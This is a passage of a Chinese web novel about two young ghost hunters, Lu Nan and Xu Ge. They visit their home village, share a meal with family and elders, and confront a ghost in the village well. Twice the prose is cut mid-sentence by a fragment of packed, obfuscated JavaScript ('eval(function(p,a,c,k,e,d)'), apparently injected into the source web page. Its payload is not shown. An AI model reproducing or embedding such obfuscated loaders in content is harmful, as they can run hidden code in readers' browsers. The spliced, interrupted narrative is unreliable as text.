吴关道:“这行干久了,身上沾的因果只会越来越多,保不齐不会带到家人身上。” 徐歌听了这话只觉得闷闷地堵在胸口不消化,怪不得陆南出来这么多年都没回过家。 “我清楚,这次主要就是跟她回去报个平安,”陆南叹了口气,看向天边的月亮,“毕竟都这么多年了。” 37.南丘古墓 4 三人行至太平村时,天际才刚刚泛出鱼肚白。与偏僻崎岖的三全村相比,太平村舒展了很多,整个村落的布局规整舒服,每家每户都悉心经营着房子占的那二两地,桃柳槐李把道路妆点得绿意盈盈。 徐歌大口呼吸着熟悉的空气,村口的水井旁传出了她再熟悉不过的吱呀吱呀的打水声——那是最早起来打水的老刘。井绳一圈一圈地缠绕在滚木上,把水桶连同太阳一起悠悠地扯上了地平线。 “回来啦!刘爷爷!”徐歌朝着井边喊道。 放下水桶,老刘从井边抬起头看见了他们,立马惊喜地招呼了过来:“俺们徐歌回来啦?哎呦!陆南成了大小伙子了,差点没认出来!多少年没见了?” 陆南笑道:“快十年没见了,村里还是没怎么变样。” “这是你们从大城市带来的朋友?”老刘赞赏地把吴关上下打量了一遍,“真是一表人才啊!” “那是那是。”吴关毫不谦虚地接受了老刘的夸赞。 …… 这城里人就是有个性,这出其不意的回答倒是反过来给老刘整没词儿了 “我帮您把水提过去。”陆南赶紧救场,提起水桶的时候他的表情凝滞了一瞬,旋即恢复如常,将桶提到了老刘门口。 老刘欣赏又欣慰地拍拍陆南的胳膊:“十年没见真是长大了,爱笑了也会来事儿了,大变样!” “爷爷,我爸妈在家里不?”徐歌问道。 老刘想了想说道:“今天镇上没有集,这个点儿,你爹不去赶集就在家。你来家没和他们提前嘱咐嘱咐啊?要是俺提前知道孩子回来看俺,俺能多开心好几天嘞,俺家那个前两天刚走了,不然让你们见见叙叙旧多好……” 老刘年纪大了不免有些絮絮叨叨,眼看就要扯到不相干的话题上去,徐歌熟络地结束了话题:“我们先去家里啦,有机会再好好叙叙!” “哎,快去吧快去吧!”老刘摆了摆手,和三人作别。 沿着小路又走了一段,吴关还真的说着去办事情溜溜达达地离开了,为了不让家里人知道他们的真实职业,符棍之类的大件法器都让吴关顺带捎了回去。没能让爸妈见见他们的老板,徐歌心里还感到一阵可惜。但转念一想这样也好,省的吴关说漏了嘴,要是让家里人知道他俩在干打鬼捉僵尸的营生,肯定会担心地够呛。 就在这时,一只土狗从沟里拱出来紧盯着陆南,夹着尾巴冲着他汪汪叫。这种小狗村里人都是不屑栓绳的,它们在村里野来野去自然养成了一副没有边界感的模样,谁经过这里都得凑上去吓唬两声,而且村里的狗尤其觉得陆南身上不干不净,格外喜欢冲着他叫,一副要咬上去的模样。 而陆南从小就被各式各样的狗追着咬出了阴影,如今长大见了狗,虽没有小时候那样害怕,但心里还是抵触,于是加快步子想把它甩在身后——俗话说狗叫得越响越不咬人,村里的小狗一般不会真的咬上去,不然村里人来人往的早就被咬遍了,只要无视它径直走掉就行了。 但徐歌没有走开,她看了一眼这只灰扑扑的小土狗,一个跺脚就把它吓得一哆嗦,只见它呜咽一声,耷拉下耳朵跑走了。 从小帮陆南赶狗的徐歌,毫不夸张地说,早就成了村里的“狗中一霸”,几乎所有的狗都被她揪着嘴筒子吓唬过,徐歌甚至怀疑它们将自己的光辉事迹骂骂咧咧地告诉了后代,以至于后来那些年轻的小狗也见了她都无比自觉地绕道走。 狗中一霸得胜归来,嘴里一边说着“早晚找根链子把这些到处汪汪叫的狗都给栓了”,一边领着陆南继续往家的方向走。 一到熟悉的种着香椿和槐树的路口,沉寂多年的记忆被唤醒,陆南立马就知道再拐一下就到家了。那个破破烂烂的招牌还贴在墙上,上面用隽秀的字体写着“徐家武馆”四个字。这四个字是让陆南给题的,正常来说,武馆的招牌都是遒劲刚硬的笔触,他一直觉得自己的字不适合写武馆的招牌——说不定改成“徐家插花馆”会有更多人愿意光顾。无奈徐歌她爹大字不识一点儿,她娘只会认不会写,徐歌写的字又形同狗爬,陆南写完他们纷纷道好,也不管什么风格不风格地就直接用上了。 徐歌父亲在太平村开了这家武馆,全家就睡在武馆顶上那个阁楼里,所以武馆就是他们的家。 蝉声阵阵,陆南把手放到门板上,又犹豫着缩了回来。徐歌一把推开大门,朝着院子里正在扎马步的男人吆喝道:“爸!我把陆南捎回来了!!” 眼前这个大清早扎马步的男人正是徐歌的父亲,徐不秋。他身着一身土布衣服,留着利落的平头,古铜色的皮肤配上一身腱子肉,一看就有武馆老板的派头,十年的岁月在男人的脸上刻下了不少沟沟壑壑,但他那双和徐歌一样的眼睛依旧在脸上炯炯有神。 “徐叔叔。”陆南笑着叫人。 徐不秋近乎是一下子蹦了上来:“来家咋不提前说声呢!”他端详着十年没见的陆南,只见对方已经和自己一般高了,配上一身利落的装扮,俨然已经成了大人模样。徐不秋用粗糙的手轻轻拍了拍陆南的后脑勺,笑得合不拢嘴:“好小子!” 徐歌朝着院子里探了几眼,问道:“我妈呢?” “村北头拍鱼去了!准备过节炖了吃的,你们回来了正好今中午就做了吃!”徐不秋接过陆南的背包,“这些年学会喝酒了不?咱们整上口?” “阿南肠胃不好你忘啦?一来就领着孩子喝酒,能教点好吗?”未见其人声先到,三人闻声朝门口望去,见冯兰英挽着头发,一手提着草鱼一手握着铁锹走了过来。 “妈!”徐歌迎上去接过她手里的鱼。这只鱼比一般的草鱼要扁一些,因为它既不是被钓上来的也不是被摸上来的,而是被冯兰英一铁锹拍上来的。与得空就研究挂门武术的武痴徐不秋不同,这一身人见人怕的铁锹本事是冯兰英干农活的时候自己摸索出来的,在凭借一己之力掀飞了一头牛之后,包括徐不秋在内的所有村民都对她肃然起敬。 女人笑着摸摸徐歌的发顶,那手关节粗大,指甲缝里嵌着洗不净的泥土色,掌心横着几道皴裂的口子,像老树的皮。 陆南轻声细语地说道:“没事的阿姨,我可以少喝一点。” “你要是心情好想喝点儿,就把老刘老张叫过来一起喝几口吧。”冯兰英对徐不秋补充道。 徐不秋一拍大腿笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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菜上齐了,徐不秋和村口打水的老刘以及画饼人老张笑着碰杯喝得脸通红——之所以叫老张画饼人,是因为年轻的时候他喜欢哄着孩子玩,其手段就是在地上画一大一小两个圆圈套在一起,再假装卷起来撒上石头当葱花,号称独门“大鸡蛋卷小饼”,徐歌每次都被他逗得直乐——就连平时不喝酒的冯兰英也斟上了酒,喝得脸颊微红。 “俩孩子来家待几天?”老张笑着问陆南。 仿佛是在家待不了几天怀有歉意,陆南略显局促地回答:“明天就走了,干活还挺忙的。” 老刘接过话茬来安慰道:“忙点好,将来有个好发展,爹娘也光荣!” 老张留着两撇精致的小胡子,说起话来一动一动:“今年雨水大,秋天又要遭灾。” “涝就涝吧,栽葱不怕涝!”老刘呷了口酒,咽下肚又打了声嗝。 “你瞅这日子过得快不快,啊?”老张跟徐不秋碰了碰杯,“一眨眼孩子就长大了,咱们也老喽~” 徐不秋笑着摇摇头:“是啊,人一年一年的不经老……” “我要是你,过两年打不动拳了,就赶紧把武馆发卖了,挣的不如花的多,如今不是挂门那时候喽……”老张喝了酒,话更多了,“咱孩子都往大城市跑,谁还弄你这个破武馆……” 好哥们儿之间调侃惯了,徐不秋一点也不气恼,反而兴致很好地晃着酒杯:“嗳,我跟着徐歌爷爷学武,既然继承了这个武馆我就一直开到我干不动为止,这是我自己的事儿,孩子们乐意就让他们去城里闯荡!以后的事儿以后再说呗!你看那些算命的,说陆南什么,童子命,活不过十八,我们还吓得给他脖子上套上长命锁,生怕锁不住他的命——但这不是都好好儿地活到二十了?而且还长成这么俊一大小伙子。往后的事儿啊,谁都说不准!” 38.南丘古墓 5 “诶,说起来陆南那把长命锁呢?”老刘转过脸问陆南,“小时候你宝贝的不得了,碰都不让我碰嘞!” 徐歌想起那把被腐蚀发黑的长命锁,不由自主地看向陆南,手底下停止了夹菜,等着陆南的回答。 “被我不小心弄丢了……”陆南装作懊恼的样子回答道。 其他人没有对这句话产生怀疑,毕竟长命锁不是什么大物件,弄丢了也是情有可原。冯兰英出言安慰道:“没关系呀,这正好说明你不用长命锁锁命,也能健健康康长大呀。” 徐歌默默地看着陆南白皙的手腕上缠着的流珠,没有作声——明明长命锁还在他的宿舍里放着,陆南为什么要撒谎?陆南不想在饭桌提起这件事,等回去哪怕死缠烂打也要问个清楚。 “前两天我家的鸡被偷鸡的偷了!你说他们缺不缺德!他们还有专门的摩托车,我跟在后面一顿跑都没撵上!” “诶,你家老三去哪里干活儿了……” “……” 餐桌上的话题总是转移得很快,徐歌经常跟不上他们的节奏。 她自小就看大人们说着难懂的话,笑着喝醉,醒来了又哭,即使她已经到了十九岁的年纪,依旧不明白也不太想明白那种感觉。太不懂了,小孩儿,好像一直都长不大……好想一直都长不大。 徐歌看向陆南,他也喝了酒,但他只是在座位上出神地坐着,微微低着头不知道在看哪里,在想什么——明明只是比自己大一岁,他想得却比大人都多。 真是太不懂了,徐歌抢过陆南手里的酒杯,一口气喝完了里面的酒,这是她第一次喝白酒,劣质的辛辣从喉管一路烧进了胃里。 徐歌顿时被呛得咳嗽了两下,陆南的思绪被她拽着落了地,回过神来赶紧在她背上拍了拍,又凝眉拿走了她手里的酒杯。冯兰英默默看着这一幕,笑着夹了两口菜。 吃过饭,老张老刘和父母正坐在桌旁喝茶聊天,话题时不时地落回到孩子身上,老生常谈,徐歌听多了就觉得无聊。她逛到厨房随便选了一把菜刀切了西瓜,一口下去,哕——好难吃,徐歌难以置信地看向菜刀:这菜刀切了多少蒜?? 抬头间,徐歌看见陆南站在院子里,于是拿着西瓜跟着走了出去:“喝酒辣到胃了吧?要不吃点西瓜涮涮?” “嗯,”陆南朝着屋内聊天的众人望了一眼,道,“老刘打水的那个井,有问题,我准备趁这个时候过去看看。” 徐歌愣了一下:“井有问题?你怎么发现的?” “用阴阳眼的确难以直接发现,我也是帮他提水的时候才察觉到里面的水有问题,”陆南答道,“我当时看见水里有一张人脸。” 徐歌打了一个激灵:“那这水万一被老刘喝了怎么办?” 陆南道:“这个怨魂没有那么凶,我在水桶里撒了药符,少喝几口应该没什么问题。” 徐歌心道这是少喝几口的问题吗?哪怕喝一口都难以接受吧…… 陆南伸手要拿徐歌手里的西瓜,徐歌躲了躲,道:“我给你从屋里拿一块,这块已经被我咬了一口了。” 陆南坚持道:“我就要这块。”那语气好像一个被逗弄的小孩儿。 还是把手上的西瓜给了他。 陆南跟着咬了一口后,皱了皱眉,倒不是嫌弃徐歌咬过,而是:“好难吃。” 徐歌隐隐觉得陆南有些怪怪的,总感觉和平常的他不一样,平日里感觉陆南不会这样……直接地表达意愿,难道是,有点喝醉了? 徐歌端详着陆南的脸,因为酒精的缘故,他的脸颊微微泛红,病气中平添一丝红润,和平日里比起来居然更有活人的气血感了。 果然是喝醉了,明明那杯酒陆南只来得及抿了一两口就被徐歌拿走喝掉了,徐歌别说上脸了,连喝了酒的感觉都没有一点儿——陆南的酒量这么差的吗? “难吃就对了,我在上面抹了蒜,谁让你不听话非要吃这块。行了行了,别吃了,难吃还吃?不会脑子也喝坏了吧?” “我要是不吃,你就要吃了。” 徐歌愣了一下,道:“我确实秉持着能放进嘴里的食物绝不浪费的原则,但一块西瓜而已,没必要这么重视啦。” 陆南没有接话,须臾轻声说道:“你陪我去。” 抓鸡毛扔井里 “陪你去什么?井那边儿吗?” “嗯。”陆南点点头,徐歌从他的眼神里看出一种……诚恳。 这还是第一次见陆南这样,徐歌顿时生出坏心思,寻思逗逗他:“那你说说,为什么我要陪你去呀?” 陆南似乎在认真思考这个问题,最后说了一句:“我想要你陪我。” 徐歌顿了一下,笑道:“嗯,很真诚——我同意了!” 陆南简简单单肉眼可见地开心起来。 走在路上,徐歌心想既然酒后吐真言,抱着有枣没枣打一杆子的心态,干脆把话题转移到了她一直想问的长命锁上。 “长命锁……是被我弄坏的。”陆南垂下眼,用低落的语气说道。 “弄坏的?” “是过煞遗留在我身上的怨气,把它腐蚀坏了。” “等等,过煞又是什么?怨气留在身上又会怎么样?” 陆南低着头没再回答,徐歌将脸凑过去,感觉他下一秒就要流出眼泪来,忙安慰道:“好好,我不问了!你不要伤心,又不是故意弄坏的对不对——到地方了,先解决这口井吧!” 看着陆南那张清俊的脸,怎么感觉自己像是欺负人的坏蛋? 徐歌一时应付不来这样的陆南,于是跑到井口附近率先开始调查。 附近没有发现什么邪祟,木桶的位置没有改变,水还是那么多,看来老刘还没有喝里面的水。 一番搜寻无果,徐歌回到井边,探头朝里面看去。 这一眼直接让徐歌的头皮炸了起来。 半空中,一个男人半个身体横着卡在井里,正仰面对着徐歌咧着嘴笑。它戴着厚厚的毡帽,穿一身臃肿的黑色棉袄,这身装扮不仅在夏季显得格格不入,而且这身打扮徐歌只在太爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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陆南挑了挑眉,似乎又要上去动手:“把人往井里推,也是你打招呼的方式?” 平常都是鬼吓人,徐歌第一次知道人也能把鬼吓成这样。 “这个也有我的责任,是我太莽撞了,”徐歌说道,“要不你先把它放开……再怎么说它是老刘的三叔。” 闻言陆南沉默几秒,对着重新立起来的三叔怨魂说道:“那你回去吧,钱的事我会告诉老刘的。” 徐歌从没见过怨魂能跑,不对,飘得这么快过。看着远处怨魂飞速隐去的背影,徐歌问道:“咱们要怎么告诉老刘?总不能说‘在村口见到你去世的三叔了’吧?” 陆南回答道:“今晚上帮它给老刘托个梦说一说就好。” “那就行。”徐歌点点头,朝马路对面看了一眼,那里有一所闲置多年的学校,正是他们的小学。 徐歌提议道:“要不要顺路去学校逛逛?说不定能捡到点有用的东西带回去,也正好醒醒酒。” “好,”陆南点点头,又想到什么一般补充道:“我没有喝醉。” 徐歌哑然失笑:“好,没喝醉。” 这所学校叫“太平中学”,整个学校只有两栋长长的平房,里面囊括了小学和初中,乡下没有多少学生,每个年级就只有一个班,徐歌每个教室都坐完一遍后就辍了学。平房东侧还有一个尘土飞扬的小操场,操场外围的合欢花雾蒙蒙地开得正盛,成为如今这太平中学唯一的生机。